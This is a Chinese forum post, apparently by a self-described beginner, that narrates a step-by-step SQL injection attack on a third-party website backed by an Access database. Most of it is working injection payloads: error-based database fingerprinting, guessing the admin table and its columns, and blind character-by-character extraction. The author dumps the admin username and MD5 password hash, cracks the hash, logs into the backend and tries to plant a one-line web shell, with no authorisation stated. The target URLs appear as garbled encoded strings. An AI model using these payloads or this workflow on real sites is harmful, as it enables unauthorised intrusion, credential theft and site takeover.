Sql注入实例 作者：ssLong   QQ:253651745
由于学习需要，因此学习了关于拿站相关知识，当然我刚刚起步，今天主要是学习sql注入，并且找了一个具体的实例，来说明sql注入的整个流程。
一下为本人学习之后总结的，不对之处还请各位高人批评、指教,感激不尽。

简单说一下，本菜鸟对sql注入的理解：sql注入就是攻击者精心构造的sql语句，可以被远程服务器的数据库正常执行，完成一些特定的功能，达到攻击的目的。其主要原因，网站制造者的安全意识不够，没有考虑网站浏览者提交特殊的，非法参数的情况，从而产生了sql注入。同时，网站制作者没有对网站出错时，进行处理，直接将很多有用的信息提供给了攻击者，这样也降低了攻击者攻击的门槛。希望引起网站制作者的注意。不知道在这场，魔与道还是道与魔的对抗中谁能获胜？谁能笑到最后？

目标网站为：f4eK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6i4y4Z5k6h3&6Y4M7h3W2Y4N6h3q4F1L8r3W2Q4x3X3g2U0L8$3#2Q4x3V1k6B7K9h3q4G2i4K6g2X3L8r3W2S2L8W2)9J5k6h3q4K6M7q4)9K6c8X3W2V1i4K6y4p5y4o6g2Q4c8f1k6Q4b7V1y4Q4z5o6S2Q4c8e0W2Q4z5f1q4Q4z5p5k6Q4c8e0c8Q4b7V1g2Q4b7V1k6Q4c8e0k6Q4z5f1k6Q4b7e0g2Q4c8e0k6Q4z5o6W2Q4b7V1g2Q4c8f1k6Q4b7V1y4Q4z5p5y4Q4c8e0k6Q4b7U0u0Q4b7e0q4Q4c8e0k6Q4z5f1y4Q4z5o6W2Q4c8e0g2Q4z5o6g2Q4b7U0k6Q4c8e0g2Q4b7f1g2Q4z5o6y4Q4c8e0k6Q4z5o6c8Q4z5p5k6Q4c8e0k6Q4z5o6m8Q4z5f1c8Q4c8f1k6Q4b7V1y4Q4z5p5y4Q4c8e0g2Q4z5p5k6Q4b7f1q4Q4c8e0k6Q4z5e0S2Q4b7f1k6Q4c8e0k6Q4b7U0g2Q4z5p5u0Q4c8e0S2Q4b7f1k6Q4z5e0g2Q4c8e0S2Q4z5o6m8Q4z5p5y4Q4c8e0g2Q4b7U0N6Q4b7U0u0Q4c8f1k6Q4b7V1y4Q4z5p5y4Q4c8e0c8Q4b7U0S2Q4z5p5c8Q4c8e0g2Q4z5o6q4Q4z5f1q4Q4c8e0c8Q4b7V1u0Q4b7V1u0Q4c8e0c8Q4b7V1c8Q4z5e0g2Q4c8e0g2Q4b7e0k6Q4b7e0S2Q4c8e0N6Q4b7e0u0Q4z5p5c8Q4c8e0N6Q4b7V1c8Q4z5e0q4Q4c8e0N6Q4b7f1u0Q4z5e0W2Q4c8e0k6Q4b7f1c8Q4b7e0y4Q4c8e0g2Q4b7U0S2Q4b7U0S2Q4c8e0c8Q4b7V1c8Q4b7V1k6Q4c8e0N6Q4z5e0c8Q4b7e0S2Q4c8e0N6Q4z5f1q4Q4z5o6c8Q4c8e0c8Q4b7V1q4Q4z5p5u0Q4c8f1k6Q4b7V1y4Q4z5p5y4Q4c8e0g2Q4b7e0k6Q4z5o6u0Q4c8e0k6Q4z5f1y4Q4z5o6W2Q4c8e0c8Q4b7V1q4Q4b7V1q4Q4c8e0S2Q4b7V1k6Q4z5f1u0Q4c8e0S2Q4b7e0q4Q4z5p5y4Q4c8e0k6Q4z5e0c8Q4b7V1u0Q4c8e0g2Q4z5o6N6Q4b7V1u0Q4c8e0S2Q4b7e0q4Q4z5p5y4Q4c8e0c8Q4b7U0S2Q4b7V1q4Q4c8f1k6Q4b7V1y4Q4z5p5y4Q4c8e0k6Q4z5f1y4Q4b7f1y4Q4c8e0c8Q4b7V1q4Q4b7V1q4Q4c8e0k6Q4b7e0k6Q4z5o6u0Q4c8e0c8Q4b7U0S2Q4z5p5c8Q4c8e0S2Q4b7U0c8Q4z5f1k6Q4c8e0S2Q4b7U0c8Q4b7e0y4Q4c8e0y4Q4z5o6m8Q4z5o6u0Q4c8e0N6Q4z5f1y4Q4z5f1k6Q4c8e0k6Q4b7f1c8Q4b7e0y4Q4c8e0N6Q4z5f1q4Q4z5o6c8Q4c8e0W2Q4b7V1u0Q4z5e0q4Q4c8e0g2Q4b7f1g2Q4b7e0u0Q4c8e0k6Q4z5e0S2Q4b7f1k6Q4c8e0c8Q4b7U0S2Q4z5p5c8Q4c8e0c8Q4b7V1y4Q4z5f1q4Q4c8e0S2Q4b7V1k6Q4z5e0W2Q4c8e0c8Q4b7U0W2Q4z5o6S2Q4c8e0g2Q4b7e0c8Q4z5f1q4Q4c8e0N6Q4z5f1q4Q4z5o6c8Q4c8f1k6Q4b7V1y4Q4z5p5y4Q4c8e0k6Q4b7f1c8Q4b7e0y4Q4c8e0k6Q4z5o6W2Q4z5o6m8Q4c8e0S2Q4b7U0m8Q4z5e0y4Q4c8e0N6Q4z5o6u0Q4b7U0W2Q4c8e0g2Q4z5o6S2Q4b7U0m8Q4c8e0c8Q4b7U0S2Q4b7V1q4Q4c8e0k6Q4b7f1c8Q4b7e0u0Q4c8f1k6Q4b7V1y4Q4z5o6V1`.

1．        取消IE的  显示友好Http错误信息，因为我们很多时候，都要利用网站出错显示的错误信息，得到网站本身信息，这些信息对于我们来说非常有用。

2.判断注入点 一般一个网站的注入点主要是存在浏览新闻，注册时输入信息框，搜索框等需要和数据库交互的页面中。
我们的目标：
33cK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6i4y4Z5k6h3&6Y4M7h3W2Y4N6h3q4F1L8r3W2Q4x3X3g2U0L8$3#2Q4x3V1k6B7K9h3q4G2i4K6g2X3L8r3W2S2L8W2)9J5k6h3q4K6M7q4)9K6c8X3W2V1i4K6y4p5y4o6f1`.
检测方法一般是经典的三步走：

第一步：在网址后面加入 单引号’ 即
d34K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6i4y4Z5k6h3&6Y4M7h3W2Y4N6h3q4F1L8r3W2Q4x3X3g2U0L8$3#2Q4x3V1k6B7K9h3q4G2i4K6g2X3L8r3W2S2L8W2)9J5k6h3q4K6M7q4)9K6c8X3W2V1i4K6y4p5y4o6g2Q4x3U0N6Q4x3U0k6F1j5Y4y4H3i4K6y4n7i4K6t1$3L8X3u0K6M7q4)9K6b7W2!0q4y4W2)9&6b7#2)9^5z5g2!0q4z5g2)9&6y4q4)9&6z5b7`.`.
e47K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6i4y4Z5k6h3&6Y4M7h3W2Y4N6h3q4F1L8r3W2Q4x3X3g2U0L8$3#2Q4x3V1k6B7K9h3q4G2i4K6g2X3L8r3W2S2L8W2)9J5k6h3q4K6M7q4)9K6c8X3W2V1i4K6y4p5y4o6f1`. and 1=1 正常返回
da4K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6i4y4Z5k6h3&6Y4M7h3W2Y4N6h3q4F1L8r3W2Q4x3X3g2U0L8$3#2Q4x3V1k6B7K9h3q4G2i4K6g2X3L8r3W2S2L8W2)9J5k6h3q4K6M7q4)9K6c8X3W2V1i4K6y4p5y4o6f1`. and 1=2 异常返回
一般可以判断此url可以被sql注入。
3.判断数据库类型 因为当前各种网址使用的语言和数据库各不相同，比如Asp+access 、 Asp+sql server 、php+ my sql /Ms sql 、 Jsp + Oracle / Mysql 、Aspx + Access /Ms Sql 等等。而各种数据库对应的sql语句各不相同，因此首先需要确定数据库类型。

一般方法是：
1）        a10K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6i4y4Z5k6h3&6Y4M7h3W2Y4N6h3q4F1L8r3W2Q4x3X3g2U0L8$3#2Q4x3V1k6B7K9h3q4G2i4K6g2X3L8r3W2S2L8W2)9J5k6h3q4K6M7q4)9K6c8X3W2V1i4K6y4p5y4o6f1`. and user >0

根据错误信息判断数据库类型：
表示为 Access 数据库
Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e10'
[Microsoft][ODBC Microsoft Access Driver] 参数不足，期待是 1。
/jiao_lian.asp，行 43
2）        062K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6i4y4Z5k6h3&6Y4M7h3W2Y4N6h3q4F1L8r3W2Q4x3X3g2U0L8$3#2Q4x3V1k6B7K9h3q4G2i4K6g2X3L8r3W2S2L8W2)9J5k6h3q4K6M7q4)9K6c8X3W2V1i4K6y4p5y4o6f1`. and （select count(*) from sysobjects）>0
3）        76fK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6i4y4Z5k6h3&6Y4M7h3W2Y4N6h3q4F1L8r3W2Q4x3X3g2U0L8$3#2Q4x3V1k6B7K9h3q4G2i4K6g2X3L8r3W2S2L8W2)9J5k6h3q4K6M7q4)9K6c8X3W2V1i4K6y4p5y4o6f1`. and （select count(*) from msysobjects）>0
注释：user 是sql server的内置变量 是nvarchar 如将与int比较 如果是sql server会直接报错，是Access会提示没有改变量
   Sysobjects是sql server 的数据库内置表，在web环境下，可以被正常访问
   Msysobjects是Access的数据库内置表 在web环境下，不能正常访问。
4.这个是个分水岭的步骤，因为是Access数据库，小弟初来咋到，不知道Access数据库时，有什么好的方法，只能走常规方法，猜！希望有高人直接。

1）        首先猜表
795K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6i4y4Z5k6h3&6Y4M7h3W2Y4N6h3q4F1L8r3W2Q4x3X3g2U0L8$3#2Q4x3V1k6B7K9h3q4G2i4K6g2X3L8r3W2S2L8W2)9J5k6h3q4K6M7q4)9K6c8X3W2V1i4K6y4p5y4o6g2Q4x3U0k6F1j5Y4y4H3i4K6y4n7i4K6t1$3L8X3u0K6M7q4)9K6b7X3q4F1k6l9`.`. (select count(*) from Admin)>=0 判断是否有Admin表 返回正常则存在 返回异常则不存在 等同下面的语句
c7cK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6i4y4Z5k6h3&6Y4M7h3W2Y4N6h3q4F1L8r3W2Q4x3X3g2U0L8$3#2Q4x3V1k6B7K9h3q4G2i4K6g2X3L8r3W2S2L8W2)9J5k6h3q4K6M7q4)9K6c8X3W2V1i4K6y4p5y4o6g2Q4x3U0k6F1j5Y4y4H3i4K6y4n7i4K6t1$3L8X3u0K6M7q4)9K6b7X3q4F1k6l9`.`. exists(select * from Admin)
非常幸运 这个网站按常理出牌了 返回的是正常页面，那么就说明有这个表，这个表中一般都是管理员用户名和密码，我们继续猜。当然如果返回异常，可以继续猜，一般的工具都是使用字典的，穷尽常见的表组成的字典，如果没有匹配的，则认为攻击失败。因此，给数据表已可以有效防止sql注入，但不是最好的方法。
2）        猜字段
c23K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6i4y4Z5k6h3&6Y4M7h3W2Y4N6h3q4F1L8r3W2Q4x3X3g2U0L8$3#2Q4x3V1k6B7K9h3q4G2i4K6g2X3L8r3W2S2L8W2)9J5k6h3q4K6M7q4)9K6c8X3W2V1i4K6y4p5y4o6f1`. and (select count(username) from  Admin)>=0
判断是否正常，正常说明存在username字段，我们的是正常的 同理：
66bK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6i4y4Z5k6h3&6Y4M7h3W2Y4N6h3q4F1L8r3W2Q4x3X3g2U0L8$3#2Q4x3V1k6B7K9h3q4G2i4K6g2X3L8r3W2S2L8W2)9J5k6h3q4K6M7q4)9K6c8X3W2V1i4K6y4p5y4o6f1`. and (select count(password) from  Admin)>=0
很容易想到 这个两个就是用户名和密码字段，已经足够了，继续猜
3)  确定长度
985K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6i4y4Z5k6h3&6Y4M7h3W2Y4N6h3q4F1L8r3W2Q4x3X3g2U0L8$3#2Q4x3V1k6B7K9h3q4G2i4K6g2X3L8r3W2S2L8W2)9J5k6h3q4K6M7q4)9K6c8X3W2V1i4K6y4p5y4o6f1`. and (select top 1 len(username) from  Admin)>10
一般用户名不会加密的所以不会很多，先判断是否在10以内。
发现返回异常，说明小于等于10
ef1K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6i4y4Z5k6h3&6Y4M7h3W2Y4N6h3q4F1L8r3W2Q4x3X3g2U0L8$3#2Q4x3V1k6B7K9h3q4G2i4K6g2X3L8r3W2S2L8W2)9J5k6h3q4K6M7q4)9K6c8X3W2V1i4K6y4p5y4o6f1`. and (select top 1 len(username) from  Admin)>5
返回还是异常 说明<=5
c13K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6i4y4Z5k6h3&6Y4M7h3W2Y4N6h3q4F1L8r3W2Q4x3X3g2U0L8$3#2Q4x3V1k6B7K9h3q4G2i4K6g2X3L8r3W2S2L8W2)9J5k6h3q4K6M7q4)9K6c8X3W2V1i4K6y4p5y4o6f1`. and (select top 1 len(username) from  Admin)>3 返回正常 说明大于3

630K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6i4y4Z5k6h3&6Y4M7h3W2Y4N6h3q4F1L8r3W2Q4x3X3g2U0L8$3#2Q4x3V1k6B7K9h3q4G2i4K6g2X3L8r3W2S2L8W2)9J5k6h3q4K6M7q4)9K6c8X3W2V1i4K6y4p5y4o6f1`. and (select top 1 len(username) from  Admin)>4 返回正常 说明大于4

所以可以确定长度是5

201K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6i4y4Z5k6h3&6Y4M7h3W2Y4N6h3q4F1L8r3W2Q4x3X3g2U0L8$3#2Q4x3V1k6B7K9h3q4G2i4K6g2X3L8r3W2S2L8W2)9J5k6h3q4K6M7q4)9K6c8X3W2V1i4K6y4p5y4o6f1`. and (select top 1 len(password) from  Admin)>32 一般网站密码是使用md5加密的所以 一般都是32 或者16 当然也有例外，所以先判断是否在32以内
返回异常 说明<=32
2d4K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6i4y4Z5k6h3&6Y4M7h3W2Y4N6h3q4F1L8r3W2Q4x3X3g2U0L8$3#2Q4x3V1k6B7K9h3q4G2i4K6g2X3L8r3W2S2L8W2)9J5k6h3q4K6M7q4)9K6c8X3W2V1i4K6y4p5y4o6f1`. and (select top 1 len(password) from  Admin)>16 返回正常 说明大于16

d86K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6i4y4Z5k6h3&6Y4M7h3W2Y4N6h3q4F1L8r3W2Q4x3X3g2U0L8$3#2Q4x3V1k6B7K9h3q4G2i4K6g2X3L8r3W2S2L8W2)9J5k6h3q4K6M7q4)9K6c8X3W2V1i4K6y4p5y4o6f1`. and (select top 1 len(password) from  Admin)>24 返回正常 说明大于24
基本上可以确定是32了 我们直接测试32吧
83bK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6i4y4Z5k6h3&6Y4M7h3W2Y4N6h3q4F1L8r3W2Q4x3X3g2U0L8$3#2Q4x3V1k6B7K9h3q4G2i4K6g2X3L8r3W2S2L8W2)9J5k6h3q4K6M7q4)9K6c8X3W2V1i4K6y4p5y4o6f1`. and (select top 1 len(password) from  Admin)=32 返回正常 说明密码是使用md5加密的 32位

4）        继续猜每一位
738K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6i4y4Z5k6h3&6Y4M7h3W2Y4N6h3q4F1L8r3W2Q4x3X3g2U0L8$3#2Q4x3V1k6B7K9h3q4G2i4K6g2X3L8r3W2S2L8W2)9J5k6h3q4K6M7q4)9K6c8X3W2V1i4K6y4p5y4o6f1`. and (select top 1 asc(mid(username,1,1)) from  Admin)>63 利用asc取一位猜测 其值是否大于ascii的中间值 返回正常 继续猜

0e4K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6i4y4Z5k6h3&6Y4M7h3W2Y4N6h3q4F1L8r3W2Q4x3X3g2U0L8$3#2Q4x3V1k6B7K9h3q4G2i4K6g2X3L8r3W2S2L8W2)9J5k6h3q4K6M7q4)9K6c8X3W2V1i4K6y4p5y4o6f1`. and (select top 1 asc(mid(username,1,1)) from  Admin)>94 利用二分法取 ascii (126+63)/2=94 返回正常 继续猜

f41K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6i4y4Z5k6h3&6Y4M7h3W2Y4N6h3q4F1L8r3W2Q4x3X3g2U0L8$3#2Q4x3V1k6B7K9h3q4G2i4K6g2X3L8r3W2S2L8W2)9J5k6h3q4K6M7q4)9K6c8X3W2V1i4K6y4p5y4o6f1`. and (select top 1 asc(mid(username,1,1)) from  Admin)>110  返回异常 说明小于110

b50K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6i4y4Z5k6h3&6Y4M7h3W2Y4N6h3q4F1L8r3W2Q4x3X3g2U0L8$3#2Q4x3V1k6B7K9h3q4G2i4K6g2X3L8r3W2S2L8W2)9J5k6h3q4K6M7q4)9K6c8X3W2V1i4K6y4p5y4o6f1`. and (select top 1 asc(mid(username,1,1)) from  Admin)>102 异常

517K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6i4y4Z5k6h3&6Y4M7h3W2Y4N6h3q4F1L8r3W2Q4x3X3g2U0L8$3#2Q4x3V1k6B7K9h3q4G2i4K6g2X3L8r3W2S2L8W2)9J5k6h3q4K6M7q4)9K6c8X3W2V1i4K6y4p5y4o6f1`. and (select top 1 asc(mid(username,1,1)) from  Admin)>98 异常

30fK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6i4y4Z5k6h3&6Y4M7h3W2Y4N6h3q4F1L8r3W2Q4x3X3g2U0L8$3#2Q4x3V1k6B7K9h3q4G2i4K6g2X3L8r3W2S2L8W2)9J5k6h3q4K6M7q4)9K6c8X3W2V1i4K6y4p5y4o6f1`. and (select top 1 asc(mid(username,1,1)) from  Admin)>96 返回正常

最终确定第一个字符为97 转换为字符是a.

同理 就可以猜到2~5位，和password的所有位，知道原理 其它的都一样。我们就直接使用 啊D这个专业工具吧，得到用户名：admin 密码：7fef6171469e80d32c0559f88b377245
直接去0a9K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8X3#2V1y4g2)9J5k6h3!0J5k6#2)9J5k6h3y4F1i4K6u0r3 解密 看看人品:还不错：名为admin888

继续使用啊D查找网站后台，登录吧，当然啊D也是猜测后台，不是使用爬的方法，但是也很有效，还是那句话，太多了常理出牌了，我写的网站一般就不能扫出来，我都记不住后台页面，呵呵！见笑了，英语太差！
819K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6i4y4Z5k6h3&6Y4M7h3W2Y4N6h3q4F1L8r3W2Q4x3X3g2U0L8$3#2Q4x3V1k6S2k6r3#2A6L8W2)9J5c8X3W2F1k6r3g2^5i4K6u0W2j5i4y4H3 后台 登录 成功。

发现后台有个可以发布新闻的地方 将一句话木马 插入进去，返回插入成功，但是使用客户端却不能建立文件，求高人帮助说是没有写权限 ，晕了一次，继续

真是遗憾时间到了 没有找到可以利用的地方，先这样吧！只能帮帮管理员管理一下信息了..当然最好不要这样做 呵呵 点到为止嘛

[培训]科锐逆向工程师培训第53期2025年7月8日开班！